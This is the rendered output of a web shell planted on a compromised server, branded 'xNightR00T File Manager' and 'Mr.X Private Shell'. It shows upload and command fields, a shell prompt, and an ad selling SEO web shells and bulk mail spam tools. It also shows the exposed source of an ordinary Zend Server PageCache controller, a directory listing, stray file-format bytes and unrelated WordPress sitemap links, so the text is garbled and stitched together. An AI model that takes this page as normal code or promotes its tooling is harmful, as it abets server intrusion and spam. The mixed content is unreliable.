xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace PageCache\Controller;

use Zend\Json\Json;
use ZendServer\Mvc\Controller\ActionController,
    PageCache\Rule,
    ZendServer\Log\Log;

class EditController extends ActionController
{

    public function indexAction()
    {
        $this->getLocator('Navigation')->findByLabel('Page Cache')->setActive(true);
        $params = $this->getParameters(array('id' => '', 'appId' => '', 'duplicate' => 'FALSE'));

        // validation
        if ($params['appId']) {
            $this->validateInteger($params['appId'], 'appId');
        }
        if ($params['id']) {
            $this->validateInteger($params['id'], 'id');
        }

        $this->validateBoolean($params['duplicate'], 'duplicate');

        $mapper = $this->getLocator()->get('PageCache\Model\Mapper');  /* @var $mapper \PageCache\Model\Mapper */
        $rules  = $mapper->getRules(array($params['id'])); // null in case not existing
        $rule   = (isset($rules[0])) ? $rules[0] : null;

        $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applications    = $deploymentModel->getMasterApplications();
        $applications->setHydrateClass('\Deployment\Application\Container');

        //$cacheRule = new Rule
        return array('dictionaryMatchType' => $mapper->getMatchTypeDictionary(),
            'dictionaryGlobalTypeJson' => Json::encode($mapper->getSuperGlobalsDictionary()),
            'dictionarySplitGlobalTypeJson' => Json::encode($mapper->getSplitSuperGlobalsDictionary()),
            'dictionaryGlobalMatchTypeJson' => Json::encode($mapper->getSuperGlobalMatchDictionary()),
            'applications' => $applications,
            'ruleContainer' => $rule,
            'appId' => $params['appId'],
            'duplicate' => (strtolower($params['duplicate']) == 'true'));
    }

    public function jsonAction()
    {
        $this->getLocator('Navigation')->findByLabel('Page Cache')->setActive(true);
        $params = $this->getParameters(array('id' => '', 'appId' => '', 'duplicate' => 'FALSE'));

        // validation
        if ($params['appId']) {
            $this->validateInteger($params['appId'], 'appId');
        }
        if ($params['id']) {
            $this->validateInteger($params['id'], 'id');
        }

        $this->validateBoolean($params['duplicate'], 'duplicate');

        $mapper = $this->getLocator()->get('PageCache\Model\Mapper');  /* @var $mapper \PageCache\Model\Mapper */
        $rules  = $mapper->getRules(array($params['id'])); // null in case not existing
        $rule   = (isset($rules[0])) ? $rules[0] : null;

       if ($rule) {
            $rule_object = array(
                'id' => $rule->getId(),
                'enable' => $rule->getEnabled(),
                'name' => $rule->getName(),
                'lifetime' => $rule->getLifetime(),
                'appId' => $rule->getAppId(),
                'matchType' => $rule->getMatchType(),
                'urlHost' => $rule->getUrlHost(),
                'urlPath' => $rule->getUrlPath(),
                'conditionsType' => $rule->getConditionsType() ? $rule->getConditionsType() : false,
                'splitByArray' => $rule->getSplitByArray() ? $rule->getSplitByArray() : array(),
                'conditionsArray' => $rule->getConditionsArray() ? $rule->getConditionsArray() : array()
            );
        } else {
            $rule_object = false;
        }



        $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applications    = $deploymentModel->getMasterApplications();
        $applications->setHydrateClass('\Deployment\Application\Container');


        $baseUrlPathPart = '';
        $extraPathValue  = '';

        $appUrlHost = '';
        $appUrlPath = '';

        $applications_array = array();
        foreach ($applications as $app) {

                $listAppParsedUrl  = parse_url($app->getBaseUrl());
                $listAppUrlHost = (isset($listAppParsedUrl['host']) ? $listAppParsedUrl['host'] : '');
                $listAppUrlPath = (isset($listAppParsedUrl['path']) ? trim($listAppParsedUrl['path'], '/') : '');

            /* @var $app \Deployment\Application\Container */
                $applications_array[intval($app->getApplicationId())] = array(
                'id' => intval($app->getApplicationId()),
                'userAppName' => $app->getUserApplicationName(),
                'host' => $listAppUrlHost,
                'path' => $listAppUrlPath
            );

            if ($rule && $app->getApplicationId() == $rule->getAppId()) {
                $parsedUrl              = parse_url($app->getBaseUrl());
                if (!isset($parsedUrl['path'])) $parsedUrl['path']      = '/';
                $baseUrlPathPart        = $parsedUrl['path'];
                if(substr($rule_object['urlPath'],0,1) != '/'){
                    $rule_object['urlPath'] = '/'.$rule_object['urlPath'];
                }
                $extraPathValue         = isset($parsedUrl['path']) ? substr($rule_object['urlPath'],
                            strlen($baseUrlPathPart)) : '';
                $rule_object['urlHost'] = (isset($parsedUrl['host']) ? $parsedUrl['host'] : '');
                $rule_object['urlPath'] = (isset($parsedUrl['path']) ? $parsedUrl['path'] : '');
            } elseif ($params['appId'] && $params['appId'] != -1 && $params['appId'] == $app->getApplicationId()) {
                $parsedUrl  = parse_url($app->getBaseUrl());
                $appUrlHost = (isset($parsedUrl['host']) ? $parsedUrl['host'] : '');
                $appUrlPath = (isset($parsedUrl['path']) ? $parsedUrl['path'] : '');
            }
        }


        //$cacheRule = new Rule
        $response = array(
            'dictionaryMatchType' => $mapper->getMatchTypeDictionary(),
            'dictionaryGlobalTypeJson' => $mapper->getSuperGlobalsDictionary(),
            'dictionarySplitGlobalTypeJson' => $mapper->getSplitSuperGlobalsDictionary(),
            'dictionaryGlobalMatchTypeJson' => $mapper->getSuperGlobalMatchDictionary(),
            'applications' => $applications_array,
            'ruleContainer' => $rule_object,
            'appId' => $params['appId'],
            'duplicate' => (strtolower($params['duplicate']) == 'true'),
            'baseUrlPathPart' => $baseUrlPathPart,
            'extraPathValue' => $extraPathValue,
            'appUrlHost' => $appUrlHost,
            'appUrlPath' => $appUrlPath,
        );

        return $this->getResponse()->setContent(json_encode($response));
    }
}

Filemanager

Name Type Size Permission Actions
EditController.php File 6.47 KB 0644
IndexController.php File 1.99 KB 0644
WebAPI115Controller.php File 17.63 KB 0644
WebAPI116Controller.php File 10.18 KB 0644
WebAPI13Controller.php File 30.83 KB 0644
WebAPIController.php File 2.32 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml